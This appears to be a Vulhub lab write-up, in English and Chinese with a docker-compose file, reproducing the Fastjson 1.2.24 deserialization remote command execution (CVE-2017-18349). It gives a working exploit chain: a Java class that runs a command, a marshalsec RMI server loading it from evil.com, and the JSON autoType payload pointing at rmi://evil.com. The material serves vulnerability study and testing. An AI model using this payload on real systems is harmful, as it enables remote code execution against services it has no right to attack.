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# Fastjson 1.2.24 Deserialization Remote Command Execution (CVE-2017-18349)
[中文版本(Chinese version)](README.zh-cn.md)
Fastjson is a JSON parser developed by Alibaba. During the JSON parsing process, it supports using autoType to instantiate a specific class and call its set/get methods to access properties. By identifying relevant methods in the code, malicious exploitation chains can be constructed.
References:
- <https://www.freebuf.com/vuls/208339.html>
- <http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/>
## Environment Setup
Execute the following command to start the test server that use Fastjson 1.2.24 as the default JSON parser:
```
docker compose up -d
```
After the server is started, visit `http://your-ip:8090` to see a JSON format output.
You can update the server information by POSTing a JSON object to this address:
```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```
## Vulnerability Reproduction
Since the target environment is Java 8u102, which doesn't have the `com.sun.jndi.rmi.object.trustURLCodebase` restriction, we can use the `com.sun.rowset.JdbcRowSetImpl` exploitation chain to execute commands through JNDI injection.
First, compile and upload the command execution code, such as `http://evil.com/TouchFile.class`:
```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
```
Then, using the [marshalsec](https://github.com/mbechler/marshalsec) project, start an RMI server listening on port 9999 and specify loading the remote class `TouchFile.class`:
```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```
Send the payload to the target server with the RMI address:
```
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}
```
As shown below, the command `touch /tmp/success` has been successfully executed:
![](1.png)

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# Fastjson 1.2.24 反序列化导致任意命令执行漏洞CVE-2017-18349
Fastjson 是阿里巴巴开发的一款 JSON 解析器。在解析 JSON 的过程中,它支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,攻击者可以构造出恶意利用链。
参考链接:
- <https://www.freebuf.com/vuls/208339.html>
- <http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/>
## 环境搭建
执行如下命令启动测试服务器,其使用 Fastjson 1.2.24 作为默认 JSON 解析器:
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8090` 即可看到 JSON 格式的输出。
我们可以通过向该地址发送 POST 请求来更新服务端的信息:
```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```
## 漏洞复现
由于目标环境是 Java 8u102没有 `com.sun.jndi.rmi.object.trustURLCodebase` 的限制,我们可以使用 `com.sun.rowset.JdbcRowSetImpl` 的利用链,通过 JNDI 注入来执行命令。
首先编译并上传命令执行代码,如 `http://evil.com/TouchFile.class`
```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
```
然后使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 `TouchFile.class`
```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```
向目标服务器发送包含 RMI 地址的 Payload
```
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}
```
如下图所示,命令 `touch /tmp/success` 已成功执行:
![](1.png)

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services:
web:
image: vulhub/fastjson:1.2.24
ports:
- "8090:8090"